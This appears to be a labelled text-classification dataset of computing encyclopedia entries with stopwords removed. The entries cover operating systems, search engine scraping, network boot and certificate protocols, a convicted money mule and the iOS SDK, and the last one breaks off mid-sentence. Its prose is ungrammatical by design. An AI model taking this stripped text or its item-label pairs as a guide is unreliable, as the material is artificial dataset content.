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schooltool schooltool gpl licensed free student information system schools around world goals project create simple turnkey student information system including demographics gradebook attendance calendaring reporting primary secondary schools well framework building customized applications configurations individual schools states schooltool built free software/open source software stack licensed gnu general public license version 2 written python using zope 3 framework sub-projects school tool follows schooltool configured default act often called student information system sis focus tracking information related students demographics enrollment grades attendance reporting subset complete “ management information system ” mis schools might also cover systems like accounting schooltool learning management system lms moodle although share overlapping feature sets gradebook schooltool contain curriculum learning objects post product news page october 2016 titled future sielibre schooltool indicates primary schooltool developers moved things accompanied google document explaining decision thanking contributors efforts
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Operating systems
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jscheme jscheme implementation scheme programming language created kenneth r. anderson timothy j. hickey peter norvig almost compliant r4rs scheme standard interface java distributed licence zlib/libpng jscheme free software
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Programming language topics
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search engine scraping search engine scraping process harvesting urls descriptions information search engines google bing yahoo specific form screen scraping web scraping dedicated search engines commonly larger search engine optimization seo providers depend regularly scraping keywords search engines especially google monitor competitive position customers websites relevant keywords indexing status search engines like google allow sort automated access service legal point view known case broken law process entering website extracting data automated fashion also often called crawling search engines like google bing yahoo getting almost data automated crawling bots google far largest search engine users numbers well revenue creative advertisements makes google important search engine scrape seo related companies google take legal action scraping likely self-protective reasons however google using range defensive methods makes scraping results challenging task search engine defense thinks access might automated search engine react differently first layer defense captcha page user prompted verify real person bot tool solving captcha create cookie permits access search engine one day captcha page removed second layer defense similar error page without captcha case user completely blocked using search engine temporary block lifted user changes ip third layer defense longterm block entire network segment google blocked large network blocks months sort block likely triggered administrator happens scraping tool sending high number requests forms detection may also happen normal user especially users sharing ip address network class ipv4 ranges well ipv6 ranges scrape search engine successfully two major factors time amount keywords user needs scrape smaller time job difficult scraping developed scraping script tool needs scraping scripts need overcome technical challenges example open source scraping software makes use mentioned techniques googlescraper framework controls browsers devtools protocol makes hard google detect browser automated developing scraper search engine almost programming language used depending performance requirements languages favorable php commonly used language write scraping scripts websites backend services powerful capabilities built dom parsers libcurl memory usage typical 10 times factor similar c/c++ code ruby rails well python also frequently used automated scraping jobs highest performance c++ dom parsers considered even bash scripting used together curl command line tool scrape search engine developing search engine scraper several existing tools libraries available either used extended analyzed learn scraping websites services legal part often big concern companies web scraping greatly depends country scraping user/company well data website scraped many different court rulings world however comes scraping search engines situation different search engines usually list intellectual property repeat summarize information scraped websites largest public known incident search engine scraped happened 2011 microsoft caught scraping unknown keywords google rather new bing service even incident result court case one possible reason might search engines like google getting almost data scraping millions public reachable websites also without reading accepting terms legal case google microsoft would possibly put whole business risk
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Web technology
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operating system operating system os system software manages computer hardware software resources provides common services computer programs time-sharing operating systems schedule tasks efficient use system may also include accounting software cost allocation processor time mass storage printing resources hardware functions input output memory allocation operating system acts intermediary programs computer hardware although application code usually executed directly hardware frequently makes system calls os function interrupted operating systems found many devices contain computer cellular phones video game consoles web servers supercomputers dominant desktop operating system microsoft windows market share around 82.74 macos apple inc. second place 13.23 varieties linux collectively third place 1.57 mobile smartphone tablet combined sector use 2017 70 google android according third quarter 2016 data android smartphones dominant 87.5 percent growth rate 10.3 percent per year followed apple ios 12.1 percent per year decrease market share 5.2 percent operating systems amount 0.3 percent linux distributions dominant server supercomputing sectors specialized classes operating systems embedded real-time systems exist many applications single-tasking system run one program time multi-tasking operating system allows one program running concurrency achieved time-sharing available processor time divided multiple processes processes interrupted repeatedly time slices task-scheduling subsystem operating system multi-tasking may characterized preemptive co-operative types preemptive multitasking operating system slices cpu time dedicates slot programs unix-like operating systems solaris linux—as well non-unix-like amigaos—support preemptive multitasking cooperative multitasking achieved relying process provide time processes defined manner 16-bit versions microsoft windows used cooperative multi-tasking 32-bit versions windows nt win9x used preemptive multi-tasking single-user operating systems facilities distinguish users may allow multiple programs run tandem multi-user operating system extends basic concept multi-tasking facilities identify processes resources disk space belonging multiple users system permits multiple users interact system time time-sharing operating systems schedule tasks efficient use system may also include accounting software cost allocation processor time mass storage printing resources multiple users distributed operating system manages group distinct computers makes appear single computer development networked computers could linked communicate gave rise distributed computing distributed computations carried one machine computers group work cooperation form distributed system os distributed cloud computing context templating refers creating single virtual machine image guest operating system saving tool multiple running virtual machines technique used virtualization cloud computing management common large server warehouses embedded operating systems designed used embedded computer systems designed operate small machines like pdas less autonomy able operate limited number resources compact extremely efficient design windows ce minix 3 examples embedded operating systems real-time operating system operating system guarantees process events data specific moment time real-time operating system may single- multi-tasking multitasking uses specialized scheduling algorithms deterministic nature behavior achieved event-driven system switches tasks based priorities external events time-sharing operating systems switch tasks based clock interrupts library operating system one services typical operating system provides networking provided form libraries composed application configuration code construct unikernel specialized single address space machine image deployed cloud embedded environments early computers built perform series single tasks like calculator basic operating system features developed 1950s resident monitor functions could automatically run different programs succession speed processing operating systems exist modern complex forms early 1960s hardware features added enabled use runtime libraries interrupts parallel processing personal computers became popular 1980s operating systems made similar concept used larger computers 1940s earliest electronic digital systems operating systems electronic systems time programmed rows mechanical switches jumper wires plug boards special-purpose systems example generated ballistics tables military controlled printing payroll checks data punched paper cards programmable general purpose computers invented machine languages consisting strings binary digits 0 1 punched paper tape introduced sped programming process stern 1981 early 1950s computer could execute one program time user sole use computer limited period time would arrive scheduled time program data punched paper cards punched tape program would loaded machine machine would set work program completed crashed programs could generally debugged via front panel using toggle switches panel lights said alan turing master early manchester mark 1 machine already deriving primitive conception operating system principles universal turing machine later machines came libraries programs would linked user program assist operations input output generating computer code human-readable symbolic code genesis modern-day operating system however machines still ran single job time cambridge university england job queue one time washing line clothes line tapes hung different colored clothes-pegs indicate job-priority improvement atlas supervisor introduced manchester atlas commissioned 1962 considered many first recognisable modern operating system brinch hansen described significant breakthrough history operating systems 1950s many major features pioneered field operating systems mainframe computers including batch processing input/output interrupt buffering multitasking spooling runtime libraries link-loading programs sorting records files features included included application software option application programmers rather separate operating system used applications 1959 share operating system released integrated utility ibm 704 later 709 7090 mainframes although quickly supplanted ibsys/ibjob 709 7090 7094 1960s ibm os/360 introduced concept single os spanning entire product line crucial success system/360 machines ibm current mainframe operating systems distant descendants original system applications written os/360 still run modern machines os/360 also pioneered concept operating system keeps track system resources used including program data space allocation main memory file space secondary storage file locking update process terminated reason resources re-claimed operating system alternative cp-67 system s/360-67 started whole line ibm operating systems focused concept virtual machines operating systems used ibm s/360 series mainframes included systems developed ibm cos/360 compatibility operating system dos/360 disk operating system tss/360 time sharing system tos/360 tape operating system bos/360 basic operating system acp airline control program well non-ibm systems mts michigan terminal system music multi-user system interactive computing orvyl stanford timesharing system control data corporation developed scope operating system 1960s batch processing cooperation university minnesota kronos later nos operating systems developed 1970s supported simultaneous batch timesharing use like many commercial timesharing systems interface extension dartmouth basic operating systems one pioneering efforts timesharing programming languages late 1970s control data university illinois developed plato operating system used plasma panel displays long-distance time sharing networks plato remarkably innovative time featuring real-time chat multi-user graphical games 1961 burroughs corporation introduced b5000 mcp master control program operating system b5000 stack machine designed exclusively support high-level languages machine language assembler indeed mcp first os written exclusively high-level language espol dialect algol mcp also introduced many ground-breaking innovations first commercial implementation virtual memory development as/400 ibm made approach burroughs license mcp run as/400 hardware proposal declined burroughs management protect existing hardware production mcp still use today unisys clearpath/mcp line computers univac first commercial computer manufacturer produced series exec operating systems like early main-frame systems batch-oriented system managed magnetic drums disks card readers line printers 1970s univac produced real-time basic rtb system support large-scale time sharing also patterned dartmouth bc system general electric mit developed general electric comprehensive operating supervisor gecos introduced concept ringed security privilege levels acquisition honeywell renamed general comprehensive operating system gcos digital equipment corporation developed many operating systems various computer lines including tops-10 tops-20 time sharing systems 36-bit pdp-10 class systems widespread use unix tops-10 particularly popular system universities early arpanet community rt-11 single-user real-time os pdp-11 class minicomputer rsx-11 corresponding multi-user os late 1960s late 1970s several hardware capabilities evolved allowed similar ported software run one system early systems utilized microprogramming implement features systems order permit different underlying computer architectures appear others series fact 360s 360/40 except 360/165 360/168 microprogrammed implementations enormous investment software systems made since 1960s caused original computer manufacturers continue develop compatible operating systems along hardware notable supported mainframe operating systems include first microcomputers capacity need elaborate operating systems developed mainframes minis minimalistic operating systems developed often loaded rom known monitors one notable early disk operating system cp/m supported many early microcomputers closely imitated microsoft ms-dos became widely popular operating system chosen ibm pc ibm version called ibm dos pc dos 1980s apple computer inc. apple inc. abandoned popular apple ii series microcomputers introduce apple macintosh computer innovative graphical user interface gui mac os introduction intel 80386 cpu chip october 1985 32-bit architecture paging capabilities provided personal computers ability run multitasking operating systems like earlier minicomputers mainframes microsoft responded progress hiring dave cutler developed vms operating system digital equipment corporation would lead development windows nt operating system continues serve basis microsoft operating systems line steve jobs co-founder apple inc. started next computer inc. developed nextstep operating system nextstep would later acquired apple inc. used along code freebsd core mac os x macos latest name change gnu project started activist programmer richard stallman goal creating complete free software replacement proprietary unix operating system project highly successful duplicating functionality various parts unix development gnu hurd kernel proved unproductive 1991 finnish computer science student linus torvalds cooperation volunteers collaborating internet released first version linux kernel soon merged gnu user space components system software form complete operating system since combination two major components usually referred simply linux software industry naming convention stallman free software foundation remain opposed preferring name gnu/linux berkeley software distribution known bsd unix derivative distributed university california berkeley starting 1970s freely distributed ported many minicomputers eventually also gained following use pcs mainly freebsd netbsd openbsd unix originally written assembly language ken thompson wrote b mainly based bcpl based experience multics project b replaced c unix rewritten c developed large complex family inter-related operating systems influential every modern operating system see history unix-like family diverse group operating systems several major sub-categories including system v bsd linux name unix trademark open group licenses use operating system shown conform definitions unix-like commonly used refer large set operating systems resemble original unix unix-like systems run wide variety computer architectures used heavily servers business well workstations academic engineering environments free unix variants linux bsd popular areas four operating systems certified open group holder unix trademark unix hp hp-ux ibm aix descendants original system v unix designed run respective vendor hardware contrast sun microsystems solaris run multiple types hardware including x86 sparc servers pcs apple macos replacement apple earlier non-unix mac os hybrid kernel-based bsd variant derived nextstep mach freebsd unix interoperability sought establishing posix standard posix standard applied operating system although originally created various unix variants subgroup unix family berkeley software distribution family includes freebsd netbsd openbsd operating systems commonly found webservers although also function personal computer os internet owes much existence bsd many protocols commonly used computers connect send receive data network widely implemented refined bsd world wide web also first demonstrated number computers running os based bsd called nextstep 1974 university california berkeley installed first unix system time students staff computer science department began adding new programs make things easier text editors berkeley received new vax computers 1978 unix installed school undergraduates modified unix even order take advantage computer hardware possibilities defense advanced research projects agency us department defense took interest decided fund project many schools corporations government organizations took notice started use berkeley version unix instead official one distributed steve jobs upon leaving apple inc. 1985 formed next inc. company manufactured high-end computers running variation bsd called nextstep one computers used tim berners-lee first webserver create world wide web developers like keith bostic encouraged project replace non-free code originated bell labs done however sued two years legal disputes bsd project spawned number free derivatives netbsd freebsd 1993 openbsd netbsd 1995 macos formerly mac os x later os x line open core graphical operating systems developed marketed sold apple inc. latest pre-loaded currently shipping macintosh computers macos successor original classic mac os apple primary operating system since 1984 unlike predecessor macos unix operating system built technology developed next second half 1980s apple purchased company early 1997 operating system first released 1999 mac os x server 1.0 followed march 2001 client version mac os x v10.0 cheetah since six distinct client server editions macos released two merged os x 10.7 lion prior merging macos server edition macos server architecturally identical desktop counterpart usually ran apple line macintosh server hardware macos server included work group management administration software tools provide simplified access key network services including mail transfer agent samba server ldap server domain name server others mac os x v10.7 lion server aspects mac os x server integrated client version product re-branded os x dropping mac name server tools offered application linux kernel originated 1991 project linus torvalds university student finland posted information project newsgroup computer students programmers received support assistance volunteers succeeded creating complete functional kernel linux unix-like developed without unix code unlike bsd variants open license model linux kernel code available study modification resulted use wide range computing machinery supercomputers smart-watches although estimates suggest linux used 1.82 desktop laptop pcs widely adopted use servers embedded systems cell phones linux superseded unix many platforms used supercomputers including top 385 many computers also green500 different order linux runs top 10 linux also commonly used small energy-efficient computers smartphones smartwatches linux kernel used popular distributions red hat debian ubuntu linux mint google android chrome os chromium os microsoft windows family proprietary operating systems designed microsoft corporation primarily targeted intel architecture based computers estimated 88.9 percent total usage share web connected computers latest version windows 10 2011 windows 7 overtook windows xp common version use microsoft windows first released 1985 operating environment running top ms-dos standard operating system shipped intel architecture personal computers time 1995 windows 95 released used ms-dos bootstrap backwards compatibility win9x could run real-mode ms-dos 16-bit windows 3.x drivers windows released 2000 last version win9x family later versions based windows nt kernel current client versions windows run ia-32 x86-64 32-bit arm microprocessors addition itanium still supported older server version windows server 2008 r2 past windows nt supported additional architectures server editions windows widely used recent years microsoft expended significant capital effort promote use windows server operating system however windows usage servers widespread personal computers windows competes linux bsd server market share reactos windows-alternative operating system developed principles windows without using microsoft code many operating systems significant day longer amigaos os/2 ibm microsoft classic mac os non-unix precursor apple macos beos xts-300 risc os morphos haiku baremetal freemint still used niche markets continue developed minority platforms enthusiast communities specialist applications openvms formerly dec still active development hewlett-packard yet operating systems used almost exclusively academia operating systems education research operating system concepts typical example system fulfills roles minix example singularity used purely research another example oberon system designed eth zürich niklaus wirth jürg gutknecht group students former computer systems institute 1980s used mainly research teaching daily work wirth group operating systems failed win significant market share introduced innovations influenced mainstream operating systems least bell labs plan 9 components operating system exist order make different parts computer work together user software needs go operating system order use hardware whether simple mouse keyboard complex internet component aid firmware device drivers kernel provides basic level control computer hardware devices manages memory access programs ram determines programs get access hardware resources sets resets cpu operating states optimal operation times organizes data long-term non-volatile storage file systems media disks tapes flash memory etc operating system provides interface application program computer hardware application program interact hardware obeying rules procedures programmed operating system operating system also set services simplify development execution application programs executing application program involves creation process operating system kernel assigns memory space resources establishes priority process multi-tasking systems loads program binary code memory initiates execution application program interacts user hardware devices interrupts central operating systems provide efficient way operating system interact react environment alternative operating system watch various sources input events polling require action found older systems small stacks 50 60 bytes unusual modern systems large stacks interrupt-based programming directly supported modern cpus interrupts provide computer way automatically saving local register contexts running specific code response events even basic computers support hardware interrupts allow programmer specify code may run event takes place interrupt received computer hardware automatically suspends whatever program currently running saves status runs computer code previously associated interrupt analogous placing bookmark book response phone call modern operating systems interrupts handled operating system kernel interrupts may come either computer hardware running program hardware device triggers interrupt operating system kernel decides deal event generally running processing code amount code run depends priority interrupt example person usually responds smoke detector alarm answering phone processing hardware interrupts task usually delegated software called device driver may part operating system kernel part another program device drivers may relay information running program various means program may also trigger interrupt operating system program wishes access hardware example may interrupt operating system kernel causes control passed back kernel kernel processes request program wishes additional resources wishes shed resources memory triggers interrupt get kernel attention modern microprocessors cpu mpu support multiple modes operation cpus capability offer least two modes user mode supervisor mode general terms supervisor mode operation allows unrestricted access machine resources including mpu instructions user mode operation sets limits instruction use typically disallows direct access machine resources cpus might modes similar user mode well virtual modes order emulate older processor types 16-bit processors 32-bit one 32-bit processors 64-bit one power-on reset system begins supervisor mode operating system kernel loaded started boundary user mode supervisor mode also known kernel mode established supervisor mode used kernel low level tasks need unrestricted access hardware controlling memory accessed communicating devices disk drives video display devices user mode contrast used almost everything else application programs word processors database managers operate within user mode access machine resources turning control kernel process causes switch supervisor mode typically transfer control kernel achieved executing software interrupt instruction motorola 68000 codice_1 instruction software interrupt causes microprocessor switch user mode supervisor mode begin executing code allows kernel take control user mode programs usually access restricted set microprocessor instructions generally execute instructions could potentially cause disruption system operation supervisor mode instruction execution restrictions typically removed allowing kernel unrestricted access machine resources term user mode resource generally refers one cpu registers contain information running program n't allowed alter attempts alter resources generally causes switch supervisor mode operating system deal illegal operation program attempting example forcibly terminating killing program among things multiprogramming operating system kernel must responsible managing system memory currently use programs ensures program interfere memory already use another program since programs time share program must independent access memory cooperative memory management used many early operating systems assumes programs make voluntary use kernel memory manager exceed allocated memory system memory management almost never seen since programs often contain bugs cause exceed allocated memory program fails may cause memory used one programs affected overwritten malicious programs viruses may purposefully alter another program memory may affect operation operating system cooperative memory management takes one misbehaved program crash system memory protection enables kernel limit process access computer memory various methods memory protection exist including memory segmentation paging methods require level hardware support 80286 mmu n't exist computers segmentation paging certain protected mode registers specify cpu memory address allow running program access attempts access addresses trigger interrupt cause cpu re-enter supervisor mode placing kernel charge called segmentation violation seg-v short since difficult assign meaningful result operation usually sign misbehaving program kernel generally resorts terminating offending program reports error windows versions 3.1 level memory protection programs could easily circumvent need use general protection fault would produced indicating segmentation violation occurred however system would often crash anyway use virtual memory addressing paging segmentation means kernel choose memory program may use given time allowing operating system use memory locations multiple tasks program tries access memory n't current range accessible memory nonetheless allocated kernel interrupted way would program exceed allocated memory see section memory management unix kind interrupt referred page fault kernel detects page fault generally adjusts virtual memory range program triggered granting access memory requested gives kernel discretionary power particular application memory stored even whether actually allocated yet modern operating systems memory accessed less frequently temporarily stored disk media make space available use programs called swapping area memory used multiple programs memory area contains swapped exchanged demand virtual memory provides programmer user perception much larger amount ram computer really multitasking refers running multiple independent computer programs computer giving appearance performing tasks time since computers one two things one time generally done via time-sharing means program uses share computer time execute operating system kernel contains scheduling program determines much time process spends executing order execution control passed programs control passed process kernel allows program access cpu memory later control returned kernel mechanism another program may allowed use cpu so-called passing control kernel applications called context switch early model governed allocation time programs called cooperative multitasking model control passed program kernel may execute long wants explicitly returning control kernel means malicious malfunctioning program may prevent programs using cpu hang entire system enters infinite loop modern operating systems extend concepts application preemption device drivers kernel code operating system preemptive control internal run-times well philosophy governing preemptive multitasking ensuring programs given regular time cpu implies programs must limited much time allowed spend cpu without interrupted accomplish modern operating system kernels make use timed interrupt protected mode timer set kernel triggers return supervisor mode specified time elapsed see sections interrupts dual mode operation many single user operating systems cooperative multitasking perfectly adequate home computers generally run small number well tested programs amigaos exception preemptive multitasking first version windows nt first version microsoft windows enforced preemptive multitasking n't reach home user market windows xp since windows nt targeted professionals access data stored disks central feature operating systems computers store data disks using files structured specific ways order allow faster access higher reliability make better use drive available space specific way files stored disk called file system enables files names attributes also allows stored hierarchy directories folders arranged directory tree early operating systems generally supported single type disk drive one kind file system early file systems limited capacity speed kinds file names directory structures could use limitations often reflected limitations operating systems designed making difficult operating system support one file system many simpler operating systems support limited range options accessing storage systems operating systems like unix linux support technology known virtual file system vfs operating system unix supports wide array storage devices regardless design file systems allowing accessed common application programming interface api makes unnecessary programs knowledge device accessing vfs allows operating system provide programs access unlimited number devices infinite variety file systems installed use specific device drivers file system drivers connected storage device hard drive accessed device driver device driver understands specific language drive able translate language standard language used operating system access disk drives unix language block devices kernel appropriate device driver place access contents disk drive raw format may contain one file systems file system driver used translate commands used access specific file system standard set commands operating system use talk file systems programs deal file systems basis filenames directories/folders contained within hierarchical structure create delete open close files well gather various information including access permissions size free space creation modification dates various differences file systems make supporting file systems difficult allowed characters file names case sensitivity presence various kinds file attributes makes implementation single interface every file system daunting task operating systems tend recommend using support natively file systems specifically designed example ntfs windows ext3 reiserfs linux however practice third party drivers usually available give support widely used file systems general-purpose operating systems example ntfs available linux ntfs-3g ext2/3 reiserfs available windows third-party software support file systems highly varied among modern operating systems although several common file systems almost operating systems include support drivers operating systems vary file system support disk formats may installed windows file system usually limited application certain media example cds must use iso 9660 udf windows vista ntfs file system operating system installed possible install linux onto many types file systems unlike operating systems linux unix allow file system used regardless media stored whether hard drive disc cd dvd ... usb flash drive even contained within file located another file system device driver specific type computer software developed allow interaction hardware devices typically constitutes interface communicating device specific computer bus communications subsystem hardware connected providing commands and/or receiving data device end requisite interfaces operating system software applications specialized hardware-dependent computer program also operating system specific enables another program typically operating system applications software package computer program running operating system kernel interact transparently hardware device usually provides requisite interrupt handling necessary necessary asynchronous time-dependent hardware interfacing needs key design goal device drivers abstraction every model hardware even within class device different newer models also released manufacturers provide reliable better performance newer models often controlled differently computers operating systems expected know control every device future solve problem operating systems essentially dictate every type device controlled function device driver translate operating system mandated function calls device specific calls theory new device controlled new manner function correctly suitable driver available new driver ensures device appears operate usual operating system point view versions windows vista versions linux 2.6 driver execution co-operative meaning driver entered infinite loop would freeze system recent revisions operating systems incorporate kernel preemption kernel interrupts driver give tasks separates process receives response device driver gives tasks currently operating systems support variety networking protocols hardware applications using means computers running dissimilar operating systems participate common network sharing resources computing files printers scanners using either wired wireless connections networks essentially allow computer operating system access resources remote computer support functions could resources connected directly local computer includes everything simple communication using networked file systems even sharing another computer graphics sound hardware network services allow resources computer accessed transparently ssh allows networked users direct access computer command line interface client/server networking allows program computer called client connect via network another computer called server servers offer host various services network computers users services usually provided ports numbered access points beyond server ip address port number usually associated maximum one running program responsible handling requests port daemon user program turn access local hardware resources computer passing requests operating system kernel many operating systems support one vendor-specific open networking protocols well example sna ibm systems decnet systems digital equipment corporation microsoft-specific protocols smb windows specific protocols specific tasks may also supported nfs file access protocols like esound esd easily extended network provide sound local applications remote system sound hardware computer secure depends number technologies working properly modern operating system provides access number resources available software running system external devices like networks via kernel operating system must capable distinguishing requests allowed processed others processed systems may simply distinguish privileged non-privileged systems commonly form requester identity user name establish identity may process authentication often username must quoted username may password methods authentication magnetic cards biometric data might used instead cases especially connections network resources may accessed authentication reading files network share also covered concept requester identity authorization particular services resources accessible requester logged system tied either requester user account variously configured groups users requester belongs addition allow disallow model security system high level security also offers auditing options would allow tracking requests access resources reading file internal security security already running program possible possibly harmful requests must carried interrupts operating system kernel programs directly access hardware resources secured external security involves request outside computer login connected console kind network connection external requests often passed device drivers operating system kernel passed onto applications carried directly security operating systems long concern highly sensitive data held computers commercial military nature united states government department defense dod created trusted computer system evaluation criteria tcsec standard sets basic requirements assessing effectiveness security became vital importance operating system makers tcsec used evaluate classify select trusted operating systems considered processing storage retrieval sensitive classified information network services include offerings file sharing print services email web sites file transfer protocols ftp compromised security front line security hardware devices known firewalls intrusion detection/prevention systems operating system level number software firewalls available well intrusion detection/prevention systems modern operating systems include software firewall enabled default software firewall configured allow deny network traffic service application running operating system therefore one install running insecure service telnet ftp threatened security breach firewall would deny traffic trying connect service port alternative strategy sandbox strategy available systems meet popek goldberg virtualization requirements operating system running user programs native code instead either emulates processor provides host p-code based system java internal security especially relevant multi-user systems allows user system private files users tamper read internal security also vital auditing use since program potentially bypass operating system inclusive bypassing auditing every computer operated individual requires user interface user interface usually referred shell essential human interaction supported user interface views directory structure requests services operating system acquire data input hardware devices keyboard mouse credit card reader requests operating system services display prompts status messages output hardware devices video monitor printer two common forms user interface historically command-line interface computer commands typed line-by-line graphical user interface visual environment commonly wimp present modern computer systems support graphical user interfaces gui often include computer systems original implementation classic mac os gui integrated kernel technically graphical user interface operating system service incorporating support one operating system kernel allow gui responsive reducing number context switches required gui perform output functions operating systems modular separating graphics subsystem kernel operating system 1980s unix vms many others operating systems built way linux macos also built way modern releases microsoft windows windows vista implement graphics subsystem mostly user-space however graphics drawing routines versions windows nt 4.0 windows server 2003 exist mostly kernel space windows 9x little distinction interface kernel many computer operating systems allow user install create user interface desire x window system conjunction gnome kde plasma 5 commonly found setup unix unix-like bsd linux solaris systems number windows shell replacements released microsoft windows offer alternatives included windows shell shell separated windows numerous unix-based guis existed time derived x11 competition among various vendors unix hp ibm sun led much fragmentation though effort standardize 1990s cose cde failed various reasons eventually eclipsed widespread adoption gnome k desktop environment prior free software-based toolkits desktop environments motif prevalent toolkit/desktop combination basis upon cde developed graphical user interfaces evolve time example windows modified user interface almost every time new major version windows released mac os gui changed dramatically introduction mac os x 1999 real-time operating system rtos operating system intended applications fixed deadlines real-time computing applications include small embedded systems automobile engine controllers industrial robots spacecraft industrial control large-scale computing systems early example large-scale real-time operating system transaction processing facility developed american airlines ibm sabre airline reservations system embedded systems fixed deadlines use real-time operating system vxworks pikeos ecos qnx montavista linux rtlinux windows ce real-time operating system shares similar apis desktop windows shares none desktop windows codebase symbian os also rtos kernel eka2 starting version 8.0b embedded systems use operating systems palm os bsd linux although operating systems support real-time computing operating system development one complicated activities computing hobbyist may engage hobby operating system may classified one whose code directly derived existing operating system users active developers cases hobby development support homebrew computing device example simple single-board computer powered 6502 microprocessor development may architecture already widespread use operating system development may come entirely new concepts may commence modeling existing operating system either case hobbyist his/her developer may interact small sometimes unstructured group individuals like interests examples hobby operating system include syllable templeos application software generally written use specific operating system sometimes even specific hardware porting application run another os functionality required application may implemented differently os names functions meaning arguments etc requiring application adapted changed otherwise maintained unix first operating system written assembly language making portable systems different native pdp-11 cost supporting operating systems diversity avoided instead writing applications software platforms java qt abstractions already borne cost adaptation specific operating systems system libraries another approach operating system vendors adopt standards example posix os abstraction layers provide commonalities reduce porting costs
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Operating systems
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boot service discovery protocol boot service discovery protocol bsdp apple-developed standards-conforming extension dhcp allows macintosh computers boot bootable images network instead local storage media cd dvd hard disk dhcp options used vendor-specific information option number 43 vendor class identifier option number 60 three versions bsdp though usually version 1.0 used versions enable client choose several bootable images offered server reference implementation bsdp darwin bootp server part mac os netboot feature dhcp server client send vendor class option contains ascii-encoded string three parts delimited character first part aaplbsdpc advertises bsdp capability second part client architecture ppc i386 third part system identifier example intel-based imac sends vendor class list microsoft vendor classes found according dhcp option carrying number 43 reserved vendor specific information information stored following format vendor wants convey multiple options within option field done encapsulated vendor-specific extensions vendor encapsulated extensions contain one concatenated fields field consists following table describes possible field types numeric fields interpreted unsigned big endian integers following example illustrates construction vendor encapsulated option first field 01 01 02 means packet bsdp select message 01 declares field specifies bsdp message type next 01 indicates field contents one byte long — 02 code select following 08 04 81 00 07 e5 means boot image id 2164262885 selected finally 82 0a 4e 65 74 42 6f 6f 74 30 30 31 means string 0x0a 10 characters namely netboot001 name system boot
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Internet protocols
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simple certificate enrollment protocol simple certificate enrollment protocol scep internet draft internet engineering task force ietf protocol used numerous manufacturers network equipment software developing simplified means handling certificates large-scale implementation everyday users well referenced industry standards protocol designed make issuing digital certificates scalable possible idea standard network user able request digital certificate electronically simply possible processes usually required intensive input network administrators suited large-scale deployments simple certificate enrollment protocol popular widely available tested certificate enrollment protocol although widely used example cisco ios operating system concerns raised able strongly authenticate certificate requests made users devices since exactly issues apply certificate issue protocols certificate management protocol certificate management cms clear real concern effectively abandoned original sponsors around 2010 internet draft describing protocol revived 2015 due widespread use industry standards updating algorithms used correcting numerous issues original specification accumulated considerable amount detritus time
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Computer security
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dos shell dos shell file manager debuted ms-dos ibm pc dos version 4.0 june 1988 discontinued ms-dos version 6.22 remained part supplemental disk supplemental disk could ordered could downloaded microsoft ftp server dos shell retained pc dos pc dos 2000 dos shell one first successful attempts create basic graphical user interface gui type file manager dos although properly referred text user interface tui character-oriented windows cow even though graphical modes available supported hardware vga-equipped pcs additionally one first guis developed microsoft later inspired design windows shell much like dos version file manager found windows versions 3.11 nt 3.51 file explorer later versions ms-dos 4.x 5.x program implemented com file codice_1 ms-dos 6 executable .exe filename extension codice_2 shell includes common features seen file managers copying moving renaming files well ability launch applications double-click shell could run command codice_3 ability set simple colours styles shell also help system program list task swapper like many modern file managers ability display dual hierarchy directory file lists i.e left right panes displaying list directory contents hierarchical file path current working directory mouse supported however like dos application required appropriate device driver one feature ability list files hard drive single alphabetized list along path attributes permitted user compare versions file different directories attributes easily spot duplicates dos shell incapable full multitasking supported rudimentary task switching could switch programs running memory cost performance hit however running programs fit conventional memory area support swapping disk time windows 3.1x graphical user interface became much popular among computer users windows capable multitasking system performance much higher complete access extended memory
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Computer architecture
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vibe.d vibe.d open-source software web framework asynchronous i/o toolkit written programming language vibe.d deal requests per second common platforms
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Web technology
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scorpion cpu scorpion central processing unit cpu core designed qualcomm use snapdragon mobile systems chips socs released 2008 designed in-house many architectural similarities arm cortex-a8 cortex-a9 cpu cores
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Computer architecture
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list security assessment tools list available software hardware tools designed particularly suited various kinds security assessment security testing several operating systems tool suites provide bundles tools useful various types security assessment
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Computer security
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kristina svechinskaya kristina vladimirovna svechinskaya born february 16 1989 former russian money mule hacker studying new york university 2010 accused plot defraud british u.s. banks usage false passports according charges svechinskaya used zeus trojan horse attack thousands bank accounts opened least five accounts bank america wachovia received 35,000 £22,000 stolen money estimated nine people svechinskaya skimmed 3 million total svechinskaya dubbed media world sexiest computer hacker raunchy casual appearance compared anna chapman upcoming russian film botnet partially based svechinskaya story fluent english svechinskaya originally studied stavropol state university according svechinskaya mother death kristina father family living 12,000 ruble us 400 time salary third year kristina chose work travel program summer 2010 arrived massachusetts started work fast food outlet earnings small moved new york worked hacker money mule svechinskaya offered 8–10 share taken money sentence expected announced june 2011 svechinskaya signed personal recognizance bond released 25,000 bail case conviction svechinskaya could imprisoned 40 years would included fraud charge 30 years 1 million fine false passports charge 10 years 250,000 fine 2016 svechinskaya made youtube presentation smartflash marketed secure cloud-based usb flash drive store unlimited amount data
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Computer security
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ios sdk ios sdk software development kit formerly iphone sdk software development kit developed apple inc kit allows development mobile apps apple ios operating system originally developing iphone prior unveiling 2007 apple then-ceo steve jobs intend let third-party developers build native apps ios instead directing make web applications safari web browser however backlash developers prompted company reconsider jobs announcing october 2007 apple would software development kit available developers february 2008 sdk released march 6 2008 sdk free download users mac personal computers available microsoft windows pcs sdk contains sets giving developers access various functions services ios devices hardware software attributes also contains iphone simulator mimic look feel device computer developing new versions sdk accompany new versions ios order test applications get technical support distribute apps app store developers required subscribe apple developer program combined xcode ios sdk helps developers write ios apps using officially supported programming languages including swift objective-c. companies also created tools allow development native ios apps using respective programming languages originally developing iphone prior unveiling 2007 apple then-ceo steve jobs intend let third-party developers build native apps ios operating system instead directing make web applications safari web browser however backlash developers prompted company reconsider jobs announcing october 17 2007 apple would software development kit sdk available developers february 2008 sdk released march 6 2008 ios sdk free download mac users available microsoft windows personal computers test application get technical support distribute applications app store developers required subscribe apple developer program sdk contents separated following sets sdk also contains iphone simulator program used simulate look feel iphone developer computer new sdk versions accompany new ios versions ios sdk combined xcode helps developers write ios applications using officially supported programming languages including swift objective-c. .ipa ios app store package file ios application archive file stores ios app 2008 sun microsystems announced plans release java virtual machine jvm ios based java platform micro edition version java would enable java applications run iphone ipod touch soon announcement developers familiar sdk terms agreement believed allowing third-party applications run background answer phone call still run application example allowing application download code another source allowing application interact third-party application sun development efforts could hindered without apple cooperation sun also worked third-party company called innaworks attempts get java iphone despite apparent lack interest apple firmware leak 2007 iphone release revealed arm chip processor jazelle support embedded java execution novell announced september 2009 successfully developed monotouch software framework let developers write native iphone applications c .net programming languages still maintaining compatibility apple requirements xamarin.ios visual studio tools xamarin open-source app development platform lets build 